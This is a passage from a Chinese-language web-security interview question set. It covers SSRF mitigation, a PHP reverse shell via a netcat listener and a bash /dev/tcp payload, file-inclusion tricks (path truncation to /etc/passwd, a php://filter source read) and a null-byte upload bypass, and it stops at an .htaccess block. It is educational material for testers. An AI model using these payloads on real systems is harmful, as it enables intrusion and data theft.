(1)SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统
(2)SSRF 统一错误信息,避免用户可以根据错误信息来判断远程服务器端口状态
1.限制请求的端口为 HTTP 常用的端口,比如 80,443,8080,8088 等
2.黑名单内网 IP。
3.禁用不需要的协议,仅仅允许 HTTP 和 HTTPS.
## **68.如何利用 php 的远程命令执行函数进行反弹 nc?**
system,exec,shell_exec,paassthru,popen,proc_popen, 反弹 shell 公网服务器执行 nc --lvv 8888 目标服务器上执行?cmd= bash -i \>\& /dev/tcp/10.0.0.1/8888 0\>\&1 并在 disabl_functions 中禁用
## **69.文件包含漏洞可以用来做啥,以及需要主要注意的事项?**
(1)配合文件上传漏洞 GetShell,可以执行任意脚本代码,网站源码文件以及
配置文件泄露,远程包含 GetShel, 控制整个网站甚至是服务器
(2)allow_url_fopen 和 allow_url_include 为 ON 的话,则包含的文件可以是
第三方服务器中的文件,这样就形成了远程文件包含漏洞 (3)/etc/passwd • 需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效
(4)/etc/passwd././././././././././././.\[......\]/././././././././.
(5)php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows
需要长于 256
index.php?page=php://filter/read/=convert.base64-encode/resource=i
ndex.php
## **70.文件上传有哪些技巧?**
通过抓包截断将 eval.php.jpg 换成 eval.php_jpg(下划线为 0x00)。在上传文件时系统文件遇到 0x00。会认为文件已经结束。从而将 eval.php.jpg 的内容写入到 eval.php 中。
.htaccess 文件内容
```javascript